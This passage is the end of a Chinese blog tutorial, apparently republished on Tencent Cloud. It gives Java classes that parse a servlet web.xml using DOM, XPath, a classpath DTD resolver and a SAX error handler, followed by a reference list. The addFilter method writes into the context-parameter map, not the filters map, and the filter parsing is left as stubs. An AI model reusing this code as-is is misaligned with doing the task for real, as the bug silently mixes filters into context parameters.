    public static final String ID_ATTRIBUTE = "id";

    public static final String DISPLAY_NAME_ELEMENT = "display-name";

    public static final String CONTEXT_PARAM_ELEMENT = "context-param";
    public static final String PARAM_NAME_ELEMENT = "param-name";
    public static final String PARAM_VALUE_ELEMENT = "param-value";

    public static final String FILTER_ELEMENT = "filter";
    public static final String FILTER_NAME_ELEMENT = "filter-name";
    public static final String FILTER_CLASS_ELEMENT = "filter-class";

    WebXmlDefinition webxml = new WebXmlDefinition();

    public WebXmlDefinition loadWebXmlDefinition(Document doc){

        Element root = doc.getDocumentElement();

        String id = root.getAttribute(ID_ATTRIBUTE);
        webxml.setId(id);

        parseWebXmlDefinition(root);

        return webxml;
    }

    private void parseWebXmlDefinition(Element root) {

        NodeList childNodes = root.getChildNodes();
        for (int i = 0, len = childNodes.getLength(); i < len; i++) {
            Node item = childNodes.item(i);
            if (item instanceof Element) {
                Element ele = (Element)item;

                if(ele.getTagName().equals(DISPLAY_NAME_ELEMENT)){
                    parseDisplayNameElement(ele);
                }else if(ele.getTagName().equals(CONTEXT_PARAM_ELEMENT)){
                    parseContextParamElement(ele);
                }else if(ele.getTagName().equals(FILTER_ELEMENT)){
                    // ...
                }else{
                    // ...
                }
            }
        }
    }

    private void parseDisplayNameElement(Element ele){
        String displayName = ele.getTextContent();
        webxml.setDisplayName(displayName);
    }

    private void parseContextParamElement(Element ele){
        // XPath 示例
        XPathFactory xpFactory = XPathFactory.newInstance();
        XPath xPath = xpFactory.newXPath();
        String paramName = null;
        try {
            paramName = xPath.evaluate(PARAM_NAME_ELEMENT, ele);
        } catch (XPathExpressionException e) {
            throw new RuntimeException("parse param-name error:", e);
        }
        String paramValue = null;
        try {
            paramValue = xPath.evaluate(PARAM_VALUE_ELEMENT, ele);
        } catch (XPathExpressionException e) {
            throw new RuntimeException("parse param-value error:", e);
        }
        webxml.addContextParams(paramName, paramValue);
    }
}
代码语言:javascript
复制
package webj2ee;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.core.io.ClassPathResource;
import org.springframework.core.io.Resource;
import org.xml.sax.EntityResolver;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;

import java.io.FileNotFoundException;
import java.io.IOException;

public class WebXmlDtdResolver implements EntityResolver {
    private Logger logger = LoggerFactory.getLogger(getClass());

    private static final String DTD_EXTENSION = ".dtd";

    private static final String DTD_NAME = "web-app_2_3";

    @Override
    public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {
        if (systemId != null && systemId.endsWith(DTD_EXTENSION)) {
            int lastPathSeparator = systemId.lastIndexOf('/');
            int dtdNameStart = systemId.indexOf(DTD_NAME, lastPathSeparator);
            if (dtdNameStart != -1) {
                String dtdFile = DTD_NAME + DTD_EXTENSION;
                if (logger.isDebugEnabled()) {
                    logger.debug("Trying to locate [" + dtdFile + "] on classpath");
                }
                try {
                    Resource resource = new ClassPathResource("servlet23/" + dtdFile);
                    InputSource source = new InputSource(resource.getInputStream());
                    source.setPublicId(publicId);
                    source.setSystemId(systemId);
                    if (logger.isDebugEnabled()) {
                        logger.debug("Found beans DTD [" + systemId + "] in classpath: " + dtdFile);
                    }
                    return source;
                } catch (FileNotFoundException ex) {
                    if (logger.isDebugEnabled()) {
                        logger.debug("Could not resolve beans DTD [" + systemId + "]: not found in classpath", ex);
                    }
                }
            }
        }

        // Fall back to the parser's default behavior.
        return null;
    }
}
代码语言:javascript
复制
package webj2ee;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXParseException;

public class WebXmlErrorHandler implements ErrorHandler {
    private Logger logger = LoggerFactory.getLogger(getClass());

    @Override
    public void warning(SAXParseException exception){
        logger.warn("warn:"+exception.getColumnNumber(), exception);
    }

    @Override
    public void error(SAXParseException exception){
        throw new RuntimeException(exception.getMessage(), exception);
    }

    @Override
    public void fatalError(SAXParseException exception){
        throw new RuntimeException(exception.getMessage(), exception);
    }
}
代码语言:javascript
复制
package webj2ee;

import java.util.*;

public class WebXmlDefinition {
    private String id = null;

    private String displayName = null;
    private final Map<String, String> contextParams = new HashMap();

    private final Map<String, String> filters = new LinkedHashMap();

    private final Set<String> listeners = new LinkedHashSet();
    private final Map<String, String> servlets = new HashMap();

    private int sessionConfig = -1;
    private final Set<String> welcomeFiles = new LinkedHashSet();

    public void addContextParams(String key, String val){
        contextParams.put(key, val);
    }

    public void addListeners(String listenerClass){
        listeners.add(listenerClass);
    }

    public void addFilter(String key, String val){
        contextParams.put(key, val);
    }

    public void addServlet(String key, String val){
        servlets.put(key, val);
    }

    public void addWelcomeFile(String welcomeFile){
        welcomeFiles.add(welcomeFile);
    }

    public void setDisplayName(String displayName) {
        this.displayName = displayName;
    }

    public void setSessionConfig(int sessionConfig) {
        this.sessionConfig = sessionConfig;
    }

    public void setId(String id) {
        this.id = id;
    }

    @Override
    public String toString() {
        return "WebXmlDefinition{" +
                "id='" + id + '\'' +
                ", displayName='" + displayName + '\'' +
                ", contextParams=" + contextParams +
                ", filters=" + filters +
                ", listeners=" + listeners +
                ", servlets=" + servlets +
                ", sessionConfig=" + sessionConfig +
                ", welcomeFiles=" + welcomeFiles +
                '}';
    }
}

参考:

《Java 核心技术 卷二》 《Essential XML》 XML 模式:了解命名空间 : https://www.oracle.com/technetwork/cn/articles/srivastava-namespaces-098626-zhs.html 在 XML 中添加实体: https://www.ibm.com/developerworks/cn/xml/x-entities/ XML Schema 与 XML DTD的技术比较与分析: https://www.ibm.com/developerworks/cn/xml/x-sd/index.html Namespaces in XML 1.0: https://www.w3.org/TR/REC-xml-names/ 由 Tim Bray 注释的 XML 标准: https://www.xml.com/axml/axml.html XML 标准引用: https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-3.5/ms256177(v=vs.90) ATTLIST: https://docs.microsoft.com/zh-cn/previous-versions/ms256140(v=vs.120) ELEMENT: https://docs.microsoft.com/zh-cn/previous-versions/ms256221(v=vs.120) ENTITY: https://docs.microsoft.com/zh-cn/previous-versions/ms256483(v=vs.120) Schema 教程: https://www.w3school.com.cn/schema/index.asp http://xerces.apache.org/xerces-j/features.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 WebJ2EE 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档